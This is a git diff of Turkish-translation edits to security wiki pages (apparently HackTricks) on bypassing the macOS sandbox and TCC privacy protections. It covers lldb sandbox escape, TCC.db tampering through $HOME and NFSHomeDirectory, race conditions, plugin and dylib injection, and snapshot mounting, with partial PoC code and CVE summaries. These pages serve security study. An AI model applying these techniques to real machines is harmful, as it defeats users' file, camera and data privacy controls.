Ancak, elbette, bu yeni süreç ebeveyn süreçten hakları veya ayrıcalıkları miras almayacaktır.
|
||||
|
||||
### Haklar
|
||||
|
||||
Bir uygulama belirli bir **hakka** sahipse, bazı **hareketlerin** **sandbox tarafından izin verilebileceğini** unutmayın, örneğin:
|
||||
```scheme
|
||||
(when (entitlement "com.apple.security.network.client")
|
||||
(allow network-outbound (remote ip))
|
||||
@ -163,7 +324,7 @@ Sandbox Bypassed!
|
||||
```
|
||||
### Debug & bypass Sandbox with lldb
|
||||
|
||||
Sandbox'lı olması gereken bir uygulama derleyelim:
|
||||
Sandbox'lı bir uygulama derleyelim:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="sand.c"}}
|
||||
@ -295,7 +456,7 @@ Process 2517 resuming
|
||||
Sandbox Bypassed!
|
||||
Process 2517 exited with status = 0 (0x00000000)
|
||||
```
|
||||
> [!WARNING] > **Sandbox atlatılsa bile TCC** kullanıcıdan masaüstünden dosya okumak için işlemi izin verip vermeyeceğini soracaktır.
|
||||
> [!WARNING] > **Sandbox atlatılsa bile TCC** kullanıcıdan masaüstünden dosyaları okumak için işlemi izin verip vermeyeceğini soracaktır.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## İşlevselliğe göre
|
||||
## İşlevselliğe Göre
|
||||
|
||||
### Yazma Bypass'ı
|
||||
|
||||
Bu bir bypass değil, TCC'nin nasıl çalıştığıdır: **Yazma işlemlerini korumaz**. Eğer Terminal **bir kullanıcının Masaüstünü okumak için erişime sahip değilse, yine de oraya yazabilir**:
|
||||
Bu bir bypass değil, TCC'nin nasıl çalıştığıdır: **Yazmayı korumaz**. Eğer Terminal **bir kullanıcının Masaüstünü okumak için erişime sahip değilse, yine de oraya yazabilir**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
@ -20,14 +20,14 @@ asd
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
Kullanıcının **kabul etmesini sağlamak için TCC isteminin üzerine bir pencere koymak** mümkündür. Bir PoC'yi [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**'de bulabilirsiniz.**
|
||||
Kullanıcının **bunu fark etmeden kabul etmesi için TCC isteminin üzerine bir pencere koymak** mümkündür. Bir PoC'yi [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**'de bulabilirsiniz.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
### TCC İsteği rastgele isimle
|
||||
|
||||
Saldırgan, **`Info.plist`** dosyasında **herhangi bir isimle uygulama oluşturabilir** (örneğin Finder, Google Chrome...) ve bunu bazı TCC korumalı konumlara erişim istemesi için ayarlayabilir. Kullanıcı, bu erişimi talep eden uygulamanın meşru olduğunu düşünecektir.\
|
||||
Ayrıca, **meşru uygulamayı Dock'tan kaldırmak ve sahte olanı yerleştirmek** mümkündür, böylece kullanıcı sahte olanı tıkladığında (aynı simgeyi kullanabilir) meşru olanı çağırabilir, TCC izinlerini isteyebilir ve bir kötü amaçlı yazılım çalıştırabilir, bu da kullanıcının meşru uygulamanın erişim talep ettiğine inanmasına neden olur.
|
||||
Saldırgan, **`Info.plist`** dosyasında **herhangi bir isimle uygulama oluşturabilir** (örneğin Finder, Google Chrome...) ve bunu bazı TCC korumalı konumlara erişim istemesi için ayarlayabilir. Kullanıcı, bu erişimi talep edenin meşru uygulama olduğunu düşünecektir.\
|
||||
Ayrıca, **meşru uygulamayı Dock'tan kaldırmak ve sahte olanı yerleştirmek** mümkündür, böylece kullanıcı sahte olanı tıkladığında (aynı simgeyi kullanabilir) meşru olanı çağırabilir, TCC izinleri isteyebilir ve bir kötü amaçlı yazılım çalıştırabilir, bu da kullanıcının meşru uygulamanın erişim talep ettiğine inanmasına neden olur.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -43,7 +43,7 @@ Varsayılan olarak, **SSH üzerinden erişim "Tam Disk Erişimi"** gerektiriyord
|
||||
|
||||
.png>)
|
||||
|
||||
Bazı **kötü amaçlı yazılımların bu korumayı aşmayı başardığına dair örnekler** burada bulabilirsiniz:
|
||||
Bazı **kötü amaçlı yazılımların bu korumayı nasıl aştığına dair örnekler bulabilirsiniz**:
|
||||
|
||||
- [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
|
||||
|
||||
@ -62,11 +62,11 @@ Bu nedenle, bir kullanıcı **tüm uzantıları işlemek için kötü amaçlı b
|
||||
|
||||
**iMovie** ve **Garageband** bu yetkiye sahipti ve diğerleri de izin verdi.
|
||||
|
||||
Bu yetkiden **icloud token'ları almak için** istismara dair daha fazla **bilgi** için konuşmayı kontrol edin: [**#OBTS v5.0: "Mac'inizde Olan, Apple'ın iCloud'unda Kalır?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Bu yetkiden **icloud token'ları almak için** istismara dair daha fazla **bilgi** için konuşmayı kontrol edin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automation
|
||||
|
||||
**`kTCCServiceAppleEvents`** iznine sahip bir uygulama, **diğer Uygulamaları kontrol edebilecektir**. Bu, diğer Uygulamalara verilen izinleri **suistimal edebileceği** anlamına gelir.
|
||||
**`kTCCServiceAppleEvents`** iznine sahip bir uygulama, **diğer Uygulamaları kontrol edebilecektir**. Bu, diğer Uygulamalara verilen izinleri **istismar edebileceği** anlamına gelir.
|
||||
|
||||
Apple Script'leri hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
@ -114,8 +114,8 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
|
||||
Kullanıcı alanındaki **tccd daemon** **`HOME`** **env** değişkenini **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** adresinden TCC kullanıcı veritabanına erişmek için kullanıyor.
|
||||
|
||||
[Tam Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemon'u mevcut kullanıcının alanında `launchd` aracılığıyla çalıştığı için, ona iletilen **tüm ortam değişkenlerini kontrol etmek** mümkündür.\
|
||||
Bu nedenle, bir **saldırgan `$HOME` ortam** değişkenini **`launchctl`** içinde **kontrol edilen** bir **dizine** işaret edecek şekilde ayarlayabilir, **TCC** daemon'unu **yeniden başlatabilir** ve ardından **TCC veritabanını doğrudan değiştirebilir** ve kendisine **mevcut tüm TCC yetkilerini** verebilir, son kullanıcıdan herhangi bir onay almadan.\
|
||||
[Tam bu Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemon'u mevcut kullanıcının alanında `launchd` aracılığıyla çalıştığı için, ona iletilen **tüm ortam değişkenlerini kontrol etmek** mümkündür.\
|
||||
Bu nedenle, bir **saldırgan `$HOME` ortam** değişkenini **`launchctl`** içinde **kontrol edilen** bir **dizine** işaret edecek şekilde ayarlayabilir, **TCC** daemon'unu **yeniden başlatabilir** ve ardından **TCC veritabanını doğrudan değiştirebilir** ve kendisine **mevcut tüm TCC yetkilerini** verebilir, son kullanıcıyı asla uyarmadan.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
@ -145,15 +145,15 @@ $> ls ~/Documents
|
||||
```
|
||||
### CVE-2021-30761 - Notlar
|
||||
|
||||
Notlar TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda bu **korumasız bir konumda** **oluşturuluyor**. Bu nedenle, notlardan korunan bir dosyayı bir notta (yani korumasız bir konumda) kopyalamasını isteyebilir ve ardından dosyaya erişebilirsiniz:
|
||||
Notlar TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda bu **korumasız bir konumda oluşturuluyor**. Bu nedenle, notlardan korumalı bir dosyayı bir notta (yani korumasız bir konumda) kopyalamasını isteyebilir ve ardından dosyaya erişebilirsiniz:
|
||||
|
||||
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### CVE-2021-30782 - Translokasyon
|
||||
|
||||
`/usr/libexec/lsd` ikili dosyası, `libsecurity_translocate` kütüphanesi ile birlikte `com.apple.private.nullfs_allow` yetkisine sahipti, bu da **nullfs** montajı oluşturmasına izin veriyordu ve her dosyaya erişim için **`kTCCServiceSystemPolicyAllFiles`** ile **`com.apple.private.tcc.allow`** yetkisine sahipti.
|
||||
`/usr/libexec/lsd` ikili dosyası, **nullfs** montajını oluşturmasına izin veren `com.apple.private.nullfs_allow` yetkisine sahipti ve her dosyaya erişim için **`kTCCServiceSystemPolicyAllFiles`** ile `com.apple.private.tcc.allow` yetkisine sahipti.
|
||||
|
||||
"Library" klasörüne karantina niteliği eklemek, **`com.apple.security.translocation`** XPC hizmetini çağırmak mümkün oldu ve ardından Library, **`$TMPDIR/AppTranslocation/d/d/Library`** olarak haritalandı; burada Library içindeki tüm belgeler **erişilebilir** hale geldi.
|
||||
"Library" üzerine karantina niteliği eklemek, **`com.apple.security.translocation`** XPC hizmetini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`** olarak eşlemek mümkündü; burada Library içindeki tüm belgeler **erişilebilir** hale geliyordu.
|
||||
|
||||
### CVE-2023-38571 - Müzik & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
@ -162,12 +162,12 @@ Notlar TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda
|
||||
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
|
||||
|
||||
Bu **`rename(a, b);`** davranışı bir **Race Condition**'a karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasör (b) oluşturulduğunda dosyayı kopyalayıp silmek ve **`~/Library/Application Support/com.apple.TCC`**'ye işaret etmek mümkündür.
|
||||
Bu **`rename(a, b);`** davranışı bir **Race Condition**'a karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası koymak ve ardından yeni klasör (b) oluşturulduğunda dosyayı kopyalayıp silmek ve **`~/Library/Application Support/com.apple.TCC`**'ye işaret etmek mümkündür.
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
Eğer **`SQLITE_SQLLOG_DIR="path/folder"`** ise, bu temelde **her açık veritabanının o yola kopyalanması** anlamına gelir. Bu CVE'de bu kontrol, **TCC veritabanını FDA ile açacak bir süreç içinde** **SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`** ile dosya adında bir **symlink** kullanılarak, o veritabanı **açıldığında**, kullanıcı **TCC.db** açılanla **üst üste yazıldı**.\
|
||||
**Daha fazla bilgi** [**yazıda**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve** [**sohbette**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
Eğer **`SQLITE_SQLLOG_DIR="path/folder"`** ise, bu temelde **her açık veritabanının o yola kopyalanması** anlamına gelir. Bu CVE'de bu kontrol, **TCC veritabanını FDA ile açacak bir süreç içinde** **SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`** ile dosya adında bir **symlink** kullanılarak, o veritabanı **açıldığında**, kullanıcı **TCC.db** açılanla **üzerine yazıldı**.\
|
||||
**Daha fazla bilgi** [**yazıda**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve**[ **sohbette**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
|
||||
@ -184,18 +184,18 @@ Bu **env değişkeni `Metal` çerçevesi tarafından kullanılır** ve çeşitli
|
||||
|
||||
Aşağıdakileri ayarlamak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Eğer `path` geçerli bir dizinse, hata tetiklenecek ve programda neler olduğunu görmek için `fs_usage` kullanabiliriz:
|
||||
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` (X rastgele) adında bir dosya `open()` edilecektir.
|
||||
- Bir veya daha fazla `write()` dosyaya içerik yazacaktır (bunu kontrol edemiyoruz).
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` `renamed()` olacak ve `path/name` olarak değiştirilecektir.
|
||||
- `open()` ile `path/.dat.nosyncXXXX.XXXXXX` adında bir dosya açılacak (X rastgele)
|
||||
- bir veya daha fazla `write()` dosyaya içerik yazacak (bunu kontrol edemiyoruz)
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` `renamed()` olacak ve `path/name` olarak değiştirilecek
|
||||
|
||||
Bu geçici bir dosya yazımıdır, ardından **`rename(old, new)`** **güvenli değildir.**
|
||||
|
||||
Güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi gerekir**, bu da biraz zaman alabilir ve bir Yarış Koşuluna karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu `renameat_internal()`'a bakabilirsiniz.
|
||||
Güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi gerekir**, bu da biraz zaman alabilir ve Race Condition'a karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu `renameat_internal()`'a bakabilirsiniz.
|
||||
|
||||
> [!CAUTION]
|
||||
> Yani, temelde, eğer ayrıcalıklı bir işlem kontrol ettiğiniz bir klasörden yeniden adlandırıyorsa, bir RCE kazanabilir ve farklı bir dosyaya erişmesini sağlayabilirsiniz veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açıp bir FD saklayabilirsiniz.
|
||||
> Yani, temelde, eğer ayrı bir klasörden yeniden adlandırma yapan ayrıcalıklı bir işlem varsa, bir RCE kazanabilir ve farklı bir dosyaya erişmesini sağlayabilirsiniz veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açıp bir FD saklayabilirsiniz.
|
||||
>
|
||||
> Eğer yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirdiğiniz veya ona bir FD sahip olduğunuz sürece, hedef dosyayı (veya klasörü) bir symlink'e işaret edecek şekilde değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz.
|
||||
> Eğer yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirdiğiniz veya ona bir FD'ye sahip olduğunuz sürece, hedef dosyayı (veya klasörü) bir symlink'e işaret edecek şekilde değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz.
|
||||
|
||||
CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için şunları yapabiliriz:
|
||||
|
||||
@ -203,9 +203,9 @@ CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzeri
|
||||
- `/Users/hacker/tmp/` dizinini oluşturmak
|
||||
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` ayarlamak
|
||||
- bu env değişkeni ile `Music` çalıştırarak hatayı tetiklemek
|
||||
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X rastgele) dosyasının `open()` işlemini yakalamak
|
||||
- burada bu dosyayı yazma için de `open()` ediyoruz ve dosya tanımlayıcısını tutuyoruz
|
||||
- `/Users/hacker/tmp` ile `/Users/hacker/ourlink`'i **bir döngü içinde atomik olarak değiştiriyoruz**
|
||||
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`'in `open()` işlemini yakalamak (X rastgele)
|
||||
- burada bu dosyayı yazma için de `open()` yapıyoruz ve dosya tanımlayıcısını tutuyoruz
|
||||
- `/Users/hacker/tmp` ile `/Users/hacker/ourlink`'i **bir döngü içinde atomik olarak değiştirmek**
|
||||
- bunu, yarış penceresi oldukça dar olduğu için başarılı olma şansımızı artırmak için yapıyoruz, ancak yarışı kaybetmenin önemsiz bir dezavantajı var
|
||||
- biraz beklemek
|
||||
- şansımızı test etmek
|
||||
@ -214,16 +214,16 @@ CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzeri
|
||||
Daha fazla bilgi için [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Şimdi, `MTL_DUMP_PIPELINES_TO_JSON_FILE` env değişkenini kullanmaya çalışırsanız, uygulamalar başlatılmayacaktır.
|
||||
> Şimdi, `MTL_DUMP_PIPELINES_TO_JSON_FILE` env değişkenini kullanmaya çalışırsanız, uygulamalar başlatılmaz
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
||||
Root olarak bu hizmeti etkinleştirebilir ve **ARD ajanı tam disk erişimine sahip olacaktır**; bu da bir kullanıcı tarafından yeni bir **TCC kullanıcı veritabanı** kopyalamak için kötüye kullanılabilir.
|
||||
|
||||
## **NFSHomeDirectory** ile
|
||||
## By **NFSHomeDirectory**
|
||||
|
||||
TCC, kullanıcının kaynaklara erişimini kontrol etmek için kullanıcının HOME klasöründe bir veritabanı kullanır **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
|
||||
Bu nedenle, eğer kullanıcı TCC'yi farklı bir klasöre işaret eden bir $HOME env değişkeni ile yeniden başlatmayı başarırsa, kullanıcı **/Library/Application Support/com.apple.TCC/TCC.db** içinde yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC izni vermesi için kandırabilir.
|
||||
Bu nedenle, eğer kullanıcı TCC'yi $HOME env değişkeni **farklı bir klasöre** işaret edecek şekilde yeniden başlatmayı başarırsa, kullanıcı **/Library/Application Support/com.apple.TCC/TCC.db** içinde yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC izni vermesi için kandırabilir.
|
||||
|
||||
> [!TIP]
|
||||
> Apple'ın, **`NFSHomeDirectory`** niteliğindeki kullanıcının profilinde saklanan ayarı **`$HOME`** değeri için kullandığını unutmayın, bu nedenle bu değeri değiştirme iznine sahip bir uygulamayı ele geçirirseniz (**`kTCCServiceSystemPolicySysAdminFiles`**), bu seçeneği bir TCC bypass ile **silahlandırabilirsiniz**.
|
||||
@ -237,41 +237,41 @@ Bu nedenle, eğer kullanıcı TCC'yi farklı bir klasöre işaret eden bir $HOME
|
||||
**İlk POC**, kullanıcının **HOME** klasörünü değiştirmek için [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ve [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) kullanır.
|
||||
|
||||
1. Hedef uygulama için bir _csreq_ blob alın.
|
||||
2. Gerekli erişim ve _csreq_ blob ile sahte bir _TCC.db_ dosyası yerleştirin.
|
||||
2. Gerekli erişimle sahte bir _TCC.db_ dosyası yerleştirin ve _csreq_ blobunu ekleyin.
|
||||
3. Kullanıcının Dizin Servisleri kaydını [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ile dışa aktarın.
|
||||
4. Kullanıcının ana dizinini değiştirmek için Dizin Servisleri kaydını değiştirin.
|
||||
5. Değiştirilen Dizin Servisleri kaydını [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) ile içe aktarın.
|
||||
6. Kullanıcının _tccd_ sürecini durdurun ve süreci yeniden başlatın.
|
||||
|
||||
İkinci POC, `com.apple.private.tcc.allow` değeri `kTCCServiceSystemPolicySysAdminFiles` olan **`/usr/libexec/configd`** kullanmıştır.\
|
||||
**`-t`** seçeneği ile **`configd`** çalıştırmak mümkün olduğundan, bir saldırgan **yüklemek için özel bir Bundle** belirtebilir. Bu nedenle, istismar **kullanıcının ana dizinini değiştirmek için** **`dsexport`** ve **`dsimport`** yöntemini **`configd` kod enjeksiyonu** ile değiştirmiştir.
|
||||
İkinci POC, `com.apple.private.tcc.allow` ile `kTCCServiceSystemPolicySysAdminFiles` değerine sahip olan **`/usr/libexec/configd`** kullanmıştır.\
|
||||
**`-t`** seçeneği ile **`configd`** çalıştırmak mümkün olduğunda, bir saldırgan **yüklemek için özel bir Bundle** belirtebilir. Bu nedenle, istismar **kullanıcının ana dizinini değiştirmek için** **`dsexport`** ve **`dsimport`** yöntemini **`configd` kod enjeksiyonu** ile değiştirmiştir.
|
||||
|
||||
Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) bakabilirsiniz.
|
||||
|
||||
## Süreç enjeksiyonu ile
|
||||
## By process injection
|
||||
|
||||
Bir süreç içine kod enjekte etmenin ve TCC ayrıcalıklarını kötüye kullanmanın farklı teknikleri vardır:
|
||||
Bir süreç içine kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
Ayrıca, TCC'yi atlatmak için bulunan en yaygın süreç enjeksiyonu **pluginler (load library)** aracılığıyladır.\
|
||||
Ayrıca, TCC'yi atlatmak için en yaygın süreç enjeksiyonu **pluginler (load library)** aracılığıyla bulunmuştur.\
|
||||
Pluginler, genellikle kütüphaneler veya plist biçiminde olan ek kodlardır ve **ana uygulama tarafından yüklenir** ve onun bağlamında çalıştırılır. Bu nedenle, ana uygulama TCC kısıtlı dosyalara (verilen izinler veya haklar aracılığıyla) erişime sahipse, **özel kod da buna sahip olacaktır**.
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
`/System/Library/CoreServices/Applications/Directory Utility.app` uygulaması **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı pluginler yükledi ve **sertleştirilmiş** çalışma zamanı yoktu.
|
||||
`/System/Library/CoreServices/Applications/Directory Utility.app` uygulaması **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı pluginler yükledi ve **güçlendirilmiş** çalışma zamanına sahip değildi.
|
||||
|
||||
Bu CVE'yi silahlandırmak için, **`NFSHomeDirectory`** **değiştirilir** (önceki yetkiden yararlanarak) böylece kullanıcıların TCC veritabanını ele geçirebiliriz ve TCC'yi atlatabiliriz.
|
||||
Bu CVE'yi silahlandırmak için, **`NFSHomeDirectory`** **değiştirilir** (önceki yetkiyi kötüye kullanarak) böylece kullanıcıların TCC veritabanını ele geçirebiliriz ve TCC'yi atlatabiliriz.
|
||||
|
||||
Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) bakabilirsiniz.
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
İkili **`/usr/sbin/coreaudiod`** `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` yetkilerine sahipti. İlk **kod enjeksiyonuna izin verirken** ikincisi **TCC'yi yönetme** erişimi sağlıyordu.
|
||||
Binary **`/usr/sbin/coreaudiod`** `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` yetkilerine sahipti. İlk **kod enjeksiyonuna izin verirken** ikincisi **TCC'yi yönetme** erişimi sağlıyordu.
|
||||
|
||||
Bu ikili, `/Library/Audio/Plug-Ins/HAL` klasöründen **üçüncü taraf eklentileri** yüklemeye izin veriyordu. Bu nedenle, bir eklenti yüklemek ve bu PoC ile TCC izinlerini kötüye kullanmak mümkündü:
|
||||
Bu binary, **/Library/Audio/Plug-Ins/HAL** klasöründen **üçüncü taraf eklentileri** yüklemeye izin veriyordu. Bu nedenle, bir eklenti yüklemek ve bu PoC ile TCC izinlerini kötüye kullanmak mümkündü:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
@ -302,9 +302,9 @@ Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/pl
|
||||
|
||||
### Cihaz Soyutlama Katmanı (DAL) Eklentileri
|
||||
|
||||
Kamera akışını Core Media I/O aracılığıyla açan sistem uygulamaları (**`kTCCServiceCamera`** ile uygulamalar) `/Library/CoreMediaIO/Plug-Ins/DAL` konumundaki **bu eklentileri yükler** (SIP kısıtlı değil).
|
||||
Kamera akışını Core Media I/O aracılığıyla açan sistem uygulamaları (**`kTCCServiceCamera`** ile uygulamalar) `/Library/CoreMediaIO/Plug-Ins/DAL` konumunda bulunan **bu eklentileri süreçte yükler** (SIP kısıtlı değil).
|
||||
|
||||
Oraya sadece ortak bir **constructor** ile bir kütüphane koymak **kod enjekte etmek** için işe yarayacaktır.
|
||||
Oraya sadece ortak bir **yapıcı** ile bir kütüphane depolamak **kod enjekte etmek** için işe yarayacaktır.
|
||||
|
||||
Birçok Apple uygulaması buna karşı savunmasızdı.
|
||||
|
||||
@ -344,7 +344,7 @@ Binary `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` **`com.apple.p
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkilerine sahipti, bu nedenle **izinlerine erişim sağlamak** için kötüye kullanılabiliyordu, örneğin kamerayla kayıt yapmak. [**Payload'ı yazımda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
Telegram **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkilerine sahipti, bu nedenle **izinlerine erişim sağlamak** için kötüye kullanılabiliyordu, örneğin kamerayla kayıt yapmak. [**payload'ı yazımda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Bir kütüphaneyi yüklemek için env değişkeninin nasıl kullanılacağını not edin; bu kütüphaneyi enjekte etmek için **özel bir plist** oluşturuldu ve **`launchctl`** kullanılarak başlatıldı:
|
||||
```xml
|
||||
@ -402,7 +402,7 @@ Terminale **Tam Disk Erişimi (FDA)** vermek, en azından teknoloji insanları t
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Bir uygulama, /tmp gibi bir konumda bir terminal betiği yazabilir ve bunu şu şekilde başlatabilir:
|
||||
Bir uygulama, /tmp gibi bir konumda bir terminal betiği yazabilir ve bunu şu şekilde bir komutla başlatabilir:
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
@ -417,7 +417,7 @@ exploit_location]; task.standardOutput = pipe;
|
||||
|
||||
### CVE-2020-9771 - mount_apfs TCC atlatma ve ayrıcalık yükseltme
|
||||
|
||||
**Herhangi bir kullanıcı** (hatta ayrıcalıksız olanlar bile) bir zaman makinesi anlık görüntüsü oluşturabilir ve monte edebilir ve o anlık görüntünün **TÜM dosyalarına** erişebilir.\
|
||||
**Herhangi bir kullanıcı** (hatta ayrıcalıksız olanlar bile) bir zaman makinesi anlık görüntüsü oluşturabilir ve montajlayabilir ve bu anlık görüntünün **TÜM dosyalarına** erişebilir.\
|
||||
Gerekli olan **tek ayrıcalık**, kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olmasıdır (`kTCCServiceSystemPolicyAllfiles`), bu da bir yönetici tarafından verilmelidir.
|
||||
```bash
|
||||
# Create snapshot
|
||||
@ -465,14 +465,22 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
```
|
||||
Check the **full exploit** in the [**original writeup**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
||||
|
||||
### CVE-2024-40855
|
||||
|
||||
As explained in the [original writeup](https://www.kandji.io/blog/macos-audit-story-part2), bu CVE `diskarbitrationd`'yi kötüye kullandı.
|
||||
|
||||
`DiskArbitration` framework'ündeki `DADiskMountWithArgumentsCommon` fonksiyonu güvenlik kontrollerini gerçekleştirdi. Ancak, `diskarbitrationd`'yi doğrudan çağırarak ve dolayısıyla yolda `../` öğeleri ve symlink'ler kullanarak bunu atlamak mümkündür.
|
||||
|
||||
Bu, bir saldırganın herhangi bir konumda, `diskarbitrationd`'nin `com.apple.private.security.storage-exempt.heritable` yetkisi nedeniyle TCC veritabanı üzerinde keyfi montajlar yapmasına olanak tanıdı.
|
||||
|
||||
### asr
|
||||
|
||||
Araç **`/usr/sbin/asr`**, tüm diski kopyalamaya ve TCC korumalarını atlayarak başka bir yerde monte etmeye izin veriyordu.
|
||||
